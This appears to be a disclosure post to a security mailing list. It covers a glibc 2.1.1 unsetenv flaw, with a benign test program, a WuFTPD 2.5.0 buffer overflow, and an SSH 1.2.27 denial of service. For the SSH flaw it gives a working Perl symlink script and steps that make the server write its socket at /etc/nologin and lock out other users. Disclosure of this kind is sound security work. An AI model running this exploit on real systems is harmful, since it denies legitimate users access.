Here's a couple of reasons to upgrade packages. All of these have been
reported to respective developers, and all but the sshd DOS attack have
fixes. I'm not guaranteeing that exploits are possible for all of these,
but they do look fairly dangerous.
I'd originally sent a message with this info to Aleph One, but probably
should have sent it to the list instead.
- Glibc 2.1.1:
o unsetenv() off-by-one error:
The unsetenv function in glibc 2.1.1 suffers from a problem whereby
when running through the environment variables, if the name of the
variable being unset is present twice consecutively, the second is
not destroyed.
unsetenv is sometimes used by programs that depend on it clearing out
variables for protection against evil environment variables.
It appears as though this was found by someone else before I stumbled
across it; glibc 2.1.2 should not be vulnerable.
To see if your libc has the problem, compile and run the following
program:
#include <stdlib.h>
#include <stdio.h>
extern char **environ;
int main()
{
char *env[] = {
"bob=trash",
"bob=uh-oh",
NULL
};
environ = env;
printf("bob = %s\n", env[0]);
unsetenv("bob");
printf("bob = %s\n", getenv("bob"));
return 0;
}
If the output isn't "bob = (null)", unsetenv() isn't doing its job.
(also note that not all libc's support unsetenv, or even the environ
variable, so this may not compile/link on many non-glibc systems).
- WuFTPD 2.5.0:
o .message file buffer overflow
WuFTPD when processing a .message file will read in a buffer, 255
bytes at a time, and process a number of % options (e.g. %H will
cause the remote hostname to appear in the output message). The
output buffer is only 1024 bytes long, so if the results from %
options are longer than about 4-5 characters, it will overflow this
buffer.
Exploits for this would probably be difficult, as the input buffer
is actually after the output buffer in memory, so it will overwrite
the input buffer and keep copying the resulting contents in memory
over and over until the top of memory is hit, causing a segfault.
However, with some tricks (using % options that don't produce
output for example) it may be able to stop the copying before
this occurs.
This was fixed in 2.6.0
- SSH 1.2.27 DOS:
o SSH has the option of setting up "authentication sockets", used to
pass authentication keys securely. When this is used, a socket is
created on both client and server machines; the socket created on the
server uses an often easy to guess filename (based on the PID)...
The creation of this socket is done while the server is acting as
root and does follow symlinks.
exploit:
- connect to remote machine
- run following script (creates symlinks for the next 50 PID's):
#!/usr/bin/perl
$pid = $$;
$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);
for ($i = $pid; $i < $pid+50; $i++) {
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}
- on local machine, execute ssh-agent1; it will produce a few lines
to cut and paste into your shell. Do so.
- ssh1 to the remote machine; enter password
The socket will have been created at /etc/nologin, preventing other
non-root users from logging in. This connection too will die with
"Logins are currently denied by /etc/nologin:"
This was tested on a RedHat 6.0 machine, with standard
configure/make/install installation of ssh. This script should work
pretty well for systems that create processes where each PID is one
greater than the last; other platforms may require modifications, or
many many more links, if they're exploitable.
I sent this info in to the ssh folks a while ago and they were looking
into it; haven't heard from them in over a week though.
-Tymm